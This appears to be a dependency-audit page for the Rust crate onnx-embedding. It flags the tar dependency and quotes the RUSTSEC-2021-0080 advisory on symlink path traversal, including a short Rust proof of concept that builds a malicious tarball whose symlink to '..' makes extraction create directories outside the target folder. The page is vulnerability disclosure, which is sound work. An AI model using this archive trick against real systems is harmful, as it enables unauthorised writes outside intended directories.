This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.

Crate onnx-embedding

Dependencies

(11 total, 1 possibly insecure)

CrateRequiredLatestStatus
 flate2^11.1.1up to date
 fslock^0.2.10.2.1up to date
 pathdiff^0.20.2.3up to date
 proc-macro2^1.0.941.0.95up to date
 quote^1.0.401.0.40up to date
 reqwest^0.120.12.15up to date
 syn^2.0.1002.0.101up to date
 tar ⚠️^0.40.4.44maybe insecure
 tempfile^3.19.13.19.1up to date
 walkdir^2.5.02.5.0up to date
 zip^2.6.12.6.1up to date

Security Vulnerabilities

tar: Links in archive can create arbitrary directories

RUSTSEC-2021-0080

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!